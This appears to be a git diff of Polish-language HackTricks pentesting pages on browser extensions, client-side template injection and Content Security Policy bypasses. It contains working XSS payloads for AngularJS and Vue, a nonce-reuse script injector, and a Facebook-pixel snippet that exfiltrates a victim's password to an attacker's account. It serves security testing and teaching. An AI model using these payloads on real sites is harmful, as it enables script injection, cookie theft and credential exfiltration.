Otwórz Chrome i przejdź do `chrome://extensions/`. Włącz "Tryb dewelopera" w prawym górnym rogu. Kliknij "Załaduj rozpakowane rozszerzenie...". Przejdź do katalogu swojego rozszerzenia. To nie pobiera kodu źródłowego, ale jest przydatne do przeglądania i modyfikowania kodu już pobranego lub opracowanego rozszerzenia.
## Zbiór manifestów rozszerzeń Chrome
## Zbiór danych manifestu rozszerzenia Chrome
Aby spróbować zidentyfikować podatne rozszerzenia przeglądarki, możesz użyć [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i sprawdzić ich pliki manifestów pod kątem potencjalnie podatnych oznak. Na przykład, aby sprawdzić rozszerzenia z więcej niż 25000 użytkowników, `content_scripts` i uprawnienie `nativeMessaing`:
Aby spróbować zidentyfikować podatne rozszerzenia przeglądarki, możesz użyć [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i sprawdzić ich pliki manifestu pod kątem potencjalnie podatnych oznak. Na przykład, aby sprawdzić rozszerzenia z więcej niż 25000 użytkowników, `content_scripts` i uprawnienie `nativeMessaing`:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
@ -648,9 +648,9 @@ Chociaż rozszerzenia przeglądarki mają **ograniczoną powierzchnię ataku**,
- [ ] **Ogranicz** tak bardzo, jak to możliwe **`web_accessible_resources`**, nawet puste, jeśli to możliwe.
- [ ] Jeśli **`web_accessible_resources`** nie jest puste, sprawdź [**ClickJacking**](browext-clickjacking.md)
- [ ] Jeśli jakakolwiek **komunikacja** zachodzi z **rozszerzenia** do **strony internetowej**, [**sprawdź XSS**](browext-xss-example.md) **luki** spowodowane w komunikacji.
- [ ] Jeśli używane są Post Messages, sprawdź [**luki w Post Message**](../postmessage-vulnerabilities/)**.**
- [ ] Jeśli **Content Script ma dostęp do szczegółów DOM**, sprawdź, czy **nie wprowadza XSS**, jeśli zostanie **zmodyfikowany** przez stronę internetową.
- [ ] Zwróć szczególną uwagę, jeśli ta komunikacja jest również zaangażowana w **komunikację Content Script -> skrypt w tle**
- [ ] Jeśli używane są Post Messages, sprawdź [**luki w Post Message**](../postmessage-vulnerabilities/index.html)**.**
- [ ] Jeśli **Content Script ma dostęp do szczegółów DOM**, sprawdź, czy **nie wprowadza XSS**, jeśli zostanie **zmodyfikowany** przez sieć
- [ ] Zwróć szczególną uwagę, jeśli ta komunikacja jest również zaangażowana w **komunikację Content Script -> Background script**
- [ ] Jeśli skrypt w tle komunikuje się za pomocą **native messaging**, sprawdź, czy komunikacja jest bezpieczna i oczyszczona
- [ ] **Wrażliwe informacje nie powinny być przechowywane** wewnątrz kodu rozszerzenia przeglądarki
- [ ] **Wrażliwe informacje nie powinny być przechowywane** wewnątrz pamięci rozszerzenia przeglądarki
@ -658,20 +658,20 @@ Chociaż rozszerzenia przeglądarki mają **ograniczoną powierzchnię ataku**,
## Ryzyka związane z rozszerzeniem przeglądarki
- Aplikacja [https://crxaminer.tech/](https://crxaminer.tech/) analizuje dane, takie jak uprawnienia, o które prosi rozszerzenie przeglądarki, aby określić poziom ryzyka korzystania z rozszerzenia przeglądarki.
- Aplikacja [https://crxaminer.tech/](https://crxaminer.tech/) analizuje dane, takie jak uprawnienia, które żąda rozszerzenie przeglądarki, aby określić poziom ryzyka korzystania z rozszerzenia przeglądarki.
## Narzędzia
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Pobiera dowolne rozszerzenie Chrome z podanego linku do sklepu Chrome.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: po prostu wyświetla wersję manifestu rozszerzenia w formacie JSON.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: po prostu wyświetla wersję JSON rozszerzenia.
- **Analiza odcisków palców**: Wykrywanie [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) i automatyczne generowanie JavaScript do odcisków palców rozszerzenia Chrome.
- **Potencjalna analiza Clickjacking**: Wykrywanie stron HTML rozszerzenia z ustawionym dyrektywą [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Mogą być potencjalnie podatne na clickjacking w zależności od celu stron.
- **Viewer ostrzeżeń o uprawnieniach**: który pokazuje listę wszystkich ostrzeżeń o uprawnieniach Chrome, które będą wyświetlane po próbie zainstalowania rozszerzenia przez użytkownika.
- **Niebezpieczna funkcja**: pokazuje lokalizację niebezpiecznych funkcji, które mogą być potencjalnie wykorzystywane przez atakującego (np. funkcje takie jak innerHTML, chrome.tabs.executeScript).
- **Punkty wejścia**: pokazuje, gdzie rozszerzenie przyjmuje dane wejściowe od użytkownika/zewnętrzne. To jest przydatne do zrozumienia powierzchni rozszerzenia i szukania potencjalnych punktów do wysyłania złośliwie skonstruowanych danych do rozszerzenia.
- Zarówno skanery Niebezpiecznych Funkcji, jak i Punktów Wejścia mają następujące elementy dla swoich wygenerowanych alertów:
- Zarówno skanery Niebezpiecznych Funkcji, jak i Punktów Wejścia mają następujące dla swoich wygenerowanych alertów:
- Odpowiedni fragment kodu i linia, która spowodowała alert.
- Opis problemu.
- Przycisk „Zobacz plik”, aby zobaczyć pełny plik źródłowy zawierający kod.
@ -680,16 +680,16 @@ Chociaż rozszerzenia przeglądarki mają **ograniczoną powierzchnię ataku**,
- Typ pliku, taki jak skrypt strony w tle, skrypt treści, akcja przeglądarki itp.
- Jeśli podatna linia znajduje się w pliku JavaScript, ścieżki wszystkich stron, na których jest zawarta, a także typ tych stron oraz status [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Analizator polityki bezpieczeństwa treści (CSP) i sprawdzacz obejść**: Wskaże słabości w CSP twojego rozszerzenia i również oświetli wszelkie potencjalne sposoby obejścia twojego CSP z powodu białych list CDN itp.
- **Znane podatne biblioteki**: Używa [Retire.js](https://retirejs.github.io/retire.js/), aby sprawdzić, czy używane są znane podatne biblioteki JavaScript.
- **Znane podatne biblioteki**: Używa [Retire.js](https://retirejs.github.io/retire.js/) do sprawdzenia użycia znanych podatnych bibliotek JavaScript.
- Pobierz rozszerzenie i sformatowane wersje.
- Pobierz oryginalne rozszerzenie.
- Pobierz wersję rozszerzenia w formacie beautified (automatycznie sformatowany HTML i JavaScript).
- Pobierz piękniejszą wersję rozszerzenia (automatycznie sformatowany HTML i JavaScript).
- Automatyczne buforowanie wyników skanowania, uruchomienie skanowania rozszerzenia zajmie sporo czasu przy pierwszym uruchomieniu. Jednak przy drugim uruchomieniu, zakładając, że rozszerzenie nie zostało zaktualizowane, będzie prawie natychmiastowe dzięki buforowanym wynikom.
- Linkowalne adresy URL raportów, łatwo linkuj kogoś do raportu rozszerzenia wygenerowanego przez tarnish.
### [Neto](https://github.com/elevenpaths/neto)
Projekt Neto to pakiet Pythona 3 stworzony do analizy i odkrywania ukrytych funkcji wtyczek i rozszerzeń przeglądarki dla znanych przeglądarek, takich jak Firefox i Chrome. Automatyzuje proces rozpakowywania spakowanych plików, aby wydobyć te funkcje z odpowiednich zasobów w rozszerzeniu, takich jak `manifest.json`, foldery lokalizacyjne lub pliki źródłowe JavaScript i HTML.
Projekt Neto to pakiet Pythona 3 stworzony do analizy i odkrywania ukrytych funkcji wtyczek i rozszerzeń przeglądarek dla znanych przeglądarek, takich jak Firefox i Chrome. Automatyzuje proces rozpakowywania spakowanych plików, aby wydobyć te funkcje z odpowiednich zasobów w rozszerzeniu, takich jak `manifest.json`, foldery lokalizacyjne lub pliki źródłowe JavaScript i HTML.
## Odniesienia

View File

@ -4,13 +4,13 @@
## Podsumowanie
Jest to podobne do [**Wstrzykiwania szablonów po stronie serwera**](ssti-server-side-template-injection/), ale w **kliencie**. **SSTI** może pozwolić na **wykonywanie kodu** na zdalnym serwerze, **CSTI** może pozwolić na **wykonywanie dowolnego kodu JavaScript** w przeglądarce ofiary.
Jest to jak [**Wstrzykiwanie szablonów po stronie serwera**](ssti-server-side-template-injection/index.html), ale w **kliencie**. **SSTI** może pozwolić na **wykonywanie kodu** na zdalnym serwerze, **CSTI** może pozwolić na **wykonywanie dowolnego kodu JavaScript** w przeglądarce ofiary.
**Testowanie** tej podatności jest bardzo **podobne** do przypadku **SSTI**, interpreter oczekuje **szablonu** i go wykona. Na przykład, z ładunkiem takim jak `{{ 7-7 }}`, jeśli aplikacja jest **podatna**, zobaczysz `0`, a jeśli nie, zobaczysz oryginalny: `{{ 7-7 }}`
**Testowanie** tej podatności jest bardzo **podobne** do przypadku **SSTI**, interpreter oczekuje **szablonu** i go wykona. Na przykład, przy ładunku takim jak `{{ 7-7 }}`, jeśli aplikacja jest **podatna**, zobaczysz `0`, a jeśli nie, zobaczysz oryginalny: `{{ 7-7 }}`
## AngularJS
AngularJS to powszechnie używany framework JavaScript, który interaguje z HTML za pomocą atrybutów znanych jako dyrektywy, z których jedną jest **`ng-app`**. Ta dyrektywa pozwala AngularJS na przetwarzanie treści HTML, umożliwiając wykonywanie wyrażeń JavaScript wewnątrz podwójnych klamr.
AngularJS to powszechnie używany framework JavaScript, który interaguje z HTML za pomocą atrybutów znanych jako dyrektywy, z których jedną jest **`ng-app`**. Ta dyrektywa pozwala AngularJS przetwarzać zawartość HTML, umożliwiając wykonywanie wyrażeń JavaScript wewnątrz podwójnych klamr.
W scenariuszach, w których dane wejściowe użytkownika są dynamicznie wstawiane do ciała HTML oznaczonego `ng-app`, możliwe jest wykonywanie dowolnego kodu JavaScript. Można to osiągnąć, wykorzystując składnię AngularJS w danych wejściowych. Poniżej znajdują się przykłady ilustrujące, jak można wykonać kod JavaScript:
```javascript
@ -21,13 +21,13 @@ W scenariuszach, w których dane wejściowe użytkownika są dynamicznie wstawia
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
Możesz znaleźć bardzo **podstawowy przykład online** tej podatności w **AngularJS** w [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) oraz w [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
Możesz znaleźć bardzo **podstawowy przykład online** tej podatności w **AngularJS** pod adresem [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) oraz w [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
> [!CAUTION] > [**Angular 1.6 usunął piaskownicę**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), więc od tej wersji ładunek taki jak `{{constructor.constructor('alert(1)')()}}` lub `<input ng-focus=$event.view.alert('XSS')>` powinien działać.
## VueJS
Możesz znaleźć **podatną implementację Vue** w [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Możesz znaleźć **podatną implementację Vue** pod adresem [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Działający ładunek: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
A **kod źródłowy** podatnego przykładu tutaj: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
@ -52,8 +52,6 @@ Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
**Sprawdź więcej ładunków VUE w** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
## Mavo
Payload:
```
[7*7]
[(1,alert)(1)]

View File

@ -1,10 +1,10 @@
# Obejście Polityki Bezpieczeństwa Treści (CSP)
# Content Security Policy (CSP) Bypass
{{#include ../../banners/hacktricks-training.md}}
## Czym jest CSP
## Co to jest CSP
Polityka Bezpieczeństwa Treści (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i szczegółowe określenie ścieżek i źródeł, z których zasoby mogą być bezpiecznie ładowane przez przeglądarkę. Te zasoby obejmują szereg elementów, takich jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu w postaci stringów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`.
Content Security Policy (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i szczegółowe określenie ścieżek i źródeł, z których zasoby mogą być bezpiecznie ładowane przez przeglądarkę. Te zasoby obejmują szereg elementów, takich jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu w postaci stringów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`.
Wdrożenie CSP odbywa się poprzez **nagłówki odpowiedzi** lub poprzez włączenie **elementów meta do strony HTML**. Zgodnie z tą polityką, przeglądarki proaktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.
@ -18,14 +18,14 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
```
### Nagłówki
CSP może być egzekwowany lub monitorowany za pomocą tych nagłówków:
CSP może być egzekwowane lub monitorowane za pomocą tych nagłówków:
- `Content-Security-Policy`: Egzekwuje CSP; przeglądarka blokuje wszelkie naruszenia.
- `Content-Security-Policy-Report-Only`: Używany do monitorowania; raportuje naruszenia bez ich blokowania. Idealny do testowania w środowiskach przedprodukcyjnych.
- `Content-Security-Policy-Report-Only`: Używane do monitorowania; raportuje naruszenia bez ich blokowania. Idealne do testowania w środowiskach przedprodukcyjnych.
### Definiowanie zasobów
CSP ogranicza źródła ładowania zarówno aktywnej, jak i pasywnej treści, kontrolując aspekty takie jak wykonywanie JavaScriptu w linii i użycie `eval()`. Przykładowa polityka to:
CSP ogranicza źródła ładowania zarówno aktywnej, jak i pasywnej treści, kontrolując aspekty takie jak wykonanie JavaScript w linii i użycie `eval()`. Przykładowa polityka to:
```bash
default-src 'none';
img-src 'self';
@ -44,33 +44,33 @@ object-src 'none';
- **child-src**: Określa dozwolone zasoby dla pracowników sieciowych i zawartości osadzonych ramek.
- **connect-src**: Ogranicza adresy URL, które mogą być ładowane za pomocą interfejsów takich jak fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Ogranicza adresy URL dla ramek.
- **frame-ancestors**: Określa, które źródła mogą osadzać bieżącą stronę, stosowane do elementów takich jak `<frame>`, `<iframe>`, `<object>`, `<embed>` i `<applet>`.
- **frame-ancestors**: Określa, które źródła mogą osadzać bieżącą stronę, stosowane do elementów takich jak `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
- **img-src**: Definiuje dozwolone źródła dla obrazów.
- **font-src**: Określa ważne źródła dla czcionek ładowanych za pomocą `@font-face`.
- **manifest-src**: Definiuje dozwolone źródła plików manifestu aplikacji.
- **media-src**: Definiuje dozwolone źródła do ładowania obiektów multimedialnych.
- **object-src**: Definiuje dozwolone źródła dla elementów `<object>`, `<embed>` i `<applet>`.
- **object-src**: Definiuje dozwolone źródła dla elementów `<object>`, `<embed>`, i `<applet>`.
- **base-uri**: Określa dozwolone adresy URL do ładowania za pomocą elementów `<base>`.
- **form-action**: Wymienia ważne punkty końcowe dla przesyłania formularzy.
- **plugin-types**: Ogranicza typy mime, które strona może wywołać.
- **upgrade-insecure-requests**: Instrukcje dla przeglądarek, aby przepisały adresy URL HTTP na HTTPS.
- **sandbox**: Stosuje ograniczenia podobne do atrybutu sandbox w `<iframe>`.
- **upgrade-insecure-requests**: Instrukcja dla przeglądarek, aby przepisały adresy URL HTTP na HTTPS.
- **sandbox**: Stosuje ograniczenia podobne do atrybutu sandbox elementu `<iframe>`.
- **report-to**: Określa grupę, do której zostanie wysłany raport, jeśli polityka zostanie naruszona.
- **worker-src**: Określa ważne źródła dla skryptów Worker, SharedWorker lub ServiceWorker.
- **prefetch-src**: Określa ważne źródła dla zasobów, które będą pobierane lub wstępnie pobierane.
- **navigate-to**: Ogranicza adresy URL, do których dokument może nawigować wszelkimi środkami (a, formularz, window.location, window.open itp.)
- **navigate-to**: Ogranicza adresy URL, do których dokument może nawigować wszelkimi środkami (a, formularz, window.location, window.open, itp.)
### Źródła
- `*`: Zezwala na wszystkie adresy URL, z wyjątkiem tych z schematami `data:`, `blob:`, `filesystem:`.
- `*`: Zezwala na wszystkie adresy URL z wyjątkiem tych z schematami `data:`, `blob:`, `filesystem:`.
- `'self'`: Zezwala na ładowanie z tej samej domeny.
- `'data'`: Zezwala na ładowanie zasobów za pomocą schematu danych (np. obrazy kodowane w Base64).
- `'data'`: Zezwala na ładowanie zasobów za pomocą schematu danych (np. obrazy zakodowane w Base64).
- `'none'`: Blokuje ładowanie z jakiegokolwiek źródła.
- `'unsafe-eval'`: Zezwala na użycie `eval()` i podobnych metod, niezalecane z powodów bezpieczeństwa.
- `'unsafe-hashes'`: Umożliwia określone inline obsługiwacze zdarzeń.
- `'unsafe-inline'`: Zezwala na użycie zasobów inline, takich jak inline `<script>` lub `<style>`, niezalecane z powodów bezpieczeństwa.
- `'nonce'`: Lista dozwolonych skryptów inline z użyciem kryptograficznego nonca (liczba używana raz).
- Jeśli masz ograniczoną egzekucję JS, możliwe jest uzyskanie używanego nonca wewnątrz strony za pomocą `doc.defaultView.top.document.querySelector("[nonce]")` i ponowne użycie go do załadowania złośliwego skryptu (jeśli użyto strict-dynamic, każde dozwolone źródło może ładować nowe źródła, więc to nie jest potrzebne), jak w:
- Jeśli masz ograniczoną możliwość wykonania JS, możliwe jest uzyskanie używanego nonca wewnątrz strony za pomocą `doc.defaultView.top.document.querySelector("[nonce]")` i ponowne użycie go do załadowania złośliwego skryptu (jeśli użyto strict-dynamic, każde dozwolone źródło może ładować nowe źródła, więc to nie jest potrzebne), jak w:
<details>
@ -89,7 +89,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
</details>
- `'sha256-<hash>'`: Biała lista skryptów z określonym hashem sha256.
- `'strict-dynamic'`: Pozwala na ładowanie skryptów z dowolnego źródła, jeśli zostało to dodane do białej listy za pomocą nonce lub hasha.
- `'strict-dynamic'`: Pozwala na ładowanie skryptów z dowolnego źródła, jeśli zostało dodane do białej listy za pomocą nonce lub hasha.
- `'host'`: Określa konkretnego hosta, takiego jak `example.com`.
- `https:`: Ogranicza adresy URL do tych, które używają HTTPS.
- `blob:`: Pozwala na ładowanie zasobów z adresów URL Blob (np. adresy URL Blob utworzone za pomocą JavaScript).
@ -161,9 +161,9 @@ Działający ładunek:
```
Jednakże, jest bardzo prawdopodobne, że serwer **waliduje przesłany plik** i pozwoli ci tylko na **przesyłanie określonego typu plików**.
Ponadto, nawet jeśli mógłbyś przesłać **kod JS wewnątrz** pliku z rozszerzeniem akceptowanym przez serwer (jak: _script.png_), to nie wystarczy, ponieważ niektóre serwery, takie jak serwer apache, **wybierają typ MIME pliku na podstawie rozszerzenia**, a przeglądarki takie jak Chrome **odrzucą wykonanie kodu Javascript** wewnątrz czegoś, co powinno być obrazem. "Na szczęście", są błędy. Na przykład, z CTF dowiedziałem się, że **Apache nie zna** rozszerzenia _**.wave**_, dlatego nie serwuje go z **typem MIME jak audio/\***.
Ponadto, nawet jeśli udałoby ci się przesłać **kod JS wewnątrz** pliku z rozszerzeniem akceptowanym przez serwer (jak: _script.png_), to nie wystarczy, ponieważ niektóre serwery, takie jak serwer apache, **wybierają typ MIME pliku na podstawie rozszerzenia**, a przeglądarki takie jak Chrome **odrzucą wykonanie kodu Javascript** wewnątrz czegoś, co powinno być obrazem. "Na szczęście", są błędy. Na przykład, z CTF dowiedziałem się, że **Apache nie zna** rozszerzenia _**.wave**_, dlatego nie serwuje go z **typem MIME jak audio/\***.
Stąd, jeśli znajdziesz XSS i przesyłanie plików, a uda ci się znaleźć **błędnie zinterpretowane rozszerzenie**, możesz spróbować przesłać plik z tym rozszerzeniem i zawartością skryptu. Lub, jeśli serwer sprawdza poprawny format przesyłanego pliku, stwórz poliglot ([przykłady poliglotów tutaj](https://github.com/Polydet/polyglot-database)).
Stąd, jeśli znajdziesz XSS i przesyłanie plików, i uda ci się znaleźć **błędnie zinterpretowane rozszerzenie**, możesz spróbować przesłać plik z tym rozszerzeniem i zawartością skryptu. Lub, jeśli serwer sprawdza poprawny format przesyłanego pliku, stwórz poliglot ([przykłady poliglotów tutaj](https://github.com/Polydet/polyglot-database)).
### Form-action
@ -262,15 +262,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Wykorzystywanie www.google.com do otwartego przekierowania
Poniższy URL przekierowuje do example.com (z [tutaj](https://www.landh.tech/blog/20240304-google-hack-50000/)):
Następujący adres URL przekierowuje do example.com (z [tutaj](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Wykorzystywanie \*.google.com/script.google.com
Abusing \*.google.com/script.google.com
Możliwe jest wykorzystanie Google Apps Script do uzyskania informacji na stronie w script.google.com. Jak to [zrobiono w tym raporcie](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Możliwe jest nadużycie Google Apps Script, aby otrzymać informacje na stronie wewnątrz script.google.com. Jak to [zrobiono w tym raporcie](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Punkty końcowe stron trzecich + JSONP
### Third Party Endpoints + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
@ -292,24 +292,24 @@ Ta sama podatność wystąpi, jeśli **zaufany punkt końcowy zawiera Open Redir
Jak opisano w [następującym poście](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), istnieje wiele domen osób trzecich, które mogą być dozwolone gdzieś w CSP, które mogą być nadużywane do eksfiltracji danych lub wykonywania kodu JavaScript. Niektóre z tych osób trzecich to:
| Podmiot | Dozwolona domena | Możliwości |
| ------------------ | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
| Podmiot | Dozwolona domena | Możliwości |
| ------------------ | ---------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Jeśli znajdziesz jakąkolwiek z dozwolonych domen w CSP twojego celu, istnieje szansa, że będziesz mógł obejść CSP, rejestrując się w usłudze osób trzecich i albo eksfiltrując dane do tej usługi, albo wykonując kod.
Jeśli znajdziesz którąkolwiek z dozwolonych domen w CSP twojego celu, istnieje szansa, że będziesz mógł obejść CSP, rejestrując się w usłudze osób trzecich i albo eksfiltrując dane do tej usługi, albo wykonując kod.
Na przykład, jeśli znajdziesz następujące CSP:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
lub
or
```
Content-Security-Policy: connect-src www.facebook.com;
```
@ -322,14 +322,14 @@ Powinieneś być w stanie wyeksportować dane, podobnie jak zawsze robiono to z
5. Przejdź do swojego "Menedżera zdarzeń" aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer zdarzeń można znaleźć pod adresem URL podobnym do tego: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Wybierz zakładkę "Test Events", aby zobaczyć zdarzenia wysyłane przez "twoją" stronę internetową.
Następnie, po stronie ofiary, wykonujesz następujący kod, aby zainicjować piksel śledzenia Facebooka, wskazując na app-id konta dewelopera napastnika i wydając zdarzenie niestandardowe w ten sposób:
Następnie, po stronie ofiary, wykonujesz następujący kod, aby zainicjować piksel śledzenia Facebooka, wskazując na app-id konta dewelopera napastnika i wydając niestandardowe zdarzenie w ten sposób:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Jeśli chodzi o pozostałe siedem domen zewnętrznych określonych w poprzedniej tabeli, istnieje wiele innych sposobów, w jakie można je nadużyć. Odwołaj się do wcześniej [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) w celu uzyskania dodatkowych wyjaśnień na temat innych nadużyć związanych z zewnętrznymi.
Jeśli chodzi o pozostałe siedem domen zewnętrznych określonych w poprzedniej tabeli, istnieje wiele innych sposobów, w jakie można je nadużyć. Odwołaj się do wcześniej [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) w celu uzyskania dodatkowych wyjaśnień dotyczących innych nadużyć związanych z zewnętrznymi.
### Bypass za pomocą RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
@ -359,7 +359,7 @@ Przykład online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbi
### brak **base-uri**
Jeśli dyrektywa **base-uri** jest brakująca, możesz to wykorzystać do przeprowadzenia [**wstrzyknięcia wiszącego markup**](../dangling-markup-html-scriptless-injection/).
Jeśli dyrektywa **base-uri** jest brakująca, możesz to wykorzystać do przeprowadzenia [**wstrzyknięcia wiszącego markup**](../dangling-markup-html-scriptless-injection/index.html).
Ponadto, jeśli **strona ładuje skrypt za pomocą ścieżki względnej** (jak `<script src="/js/app.js">`) używając **Nonce**, możesz wykorzystać **tag** **base**, aby **załadować** skrypt z **twojego własnego serwera, osiągając XSS.**\
Jeśli podatna strona jest ładowana z **httpS**, użyj adresu httpS w tagu base.
@ -375,7 +375,7 @@ Kierując tę tablicę do filtra `orderBy`, możliwe jest iterowanie po niej, wy
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Ten fragment podkreśla użycie dyrektywy `ng-focus` do wywołania zdarzenia, wykorzystując `$event.path|orderBy` do manipulacji tablicą `path`, oraz korzystając z obiektu `window` do wykonania funkcji `alert()`, ujawniając tym samym `document.cookie`.
Ten fragment podkreśla użycie dyrektywy `ng-focus` do wywołania zdarzenia, wykorzystując `$event.path|orderBy` do manipulacji tablicą `path` oraz korzystając z obiektu `window` do wykonania funkcji `alert()`, ujawniając tym samym `document.cookie`.
**Znajdź inne obejścia Angulara w** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
@ -383,7 +383,7 @@ Ten fragment podkreśla użycie dyrektywy `ng-focus` do wywołania zdarzenia, wy
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Polityka CSP, która dopuszcza określone domeny do ładowania skryptów w aplikacji Angular JS, może być obejściowa poprzez wywołanie funkcji zwrotnych i niektóre podatne klasy. Dalsze informacje na ten temat można znaleźć w szczegółowym przewodniku dostępnym w tym [repozytorium git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Polityka CSP, która zezwala na ładowanie skryptów z określonych domen w aplikacji Angular JS, może być obejściem poprzez wywołanie funkcji zwrotnych i niektórych podatnych klas. Dalsze informacje na ten temat można znaleźć w szczegółowym przewodniku dostępnym w tym [repozytorium git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Działające ładunki:
```html
@ -399,7 +399,7 @@ Inne punkty końcowe do dowolnego wykonania JSONP można znaleźć [**tutaj**](h
Co się dzieje, gdy CSP napotyka przekierowanie po stronie serwera? Jeśli przekierowanie prowadzi do innego pochodzenia, które nie jest dozwolone, nadal zakończy się niepowodzeniem.
Jednakże, zgodnie z opisem w [specyfikacji CSP 4.2.2.3. Ścieżki i Przekierowania](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), jeśli przekierowanie prowadzi do innej ścieżki, może obejść oryginalne ograniczenia.
Jednak zgodnie z opisem w [specyfikacji CSP 4.2.2.3. Ścieżki i Przekierowania](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), jeśli przekierowanie prowadzi do innej ścieżki, może obejść pierwotne ograniczenia.
Oto przykład:
```html
@ -421,15 +421,15 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
```
Jeśli CSP jest ustawione na `https://www.google.com/a/b/c/d`, ponieważ ścieżka jest brana pod uwagę, zarówno skrypty `/test`, jak i `/a/test` będą blokowane przez CSP.
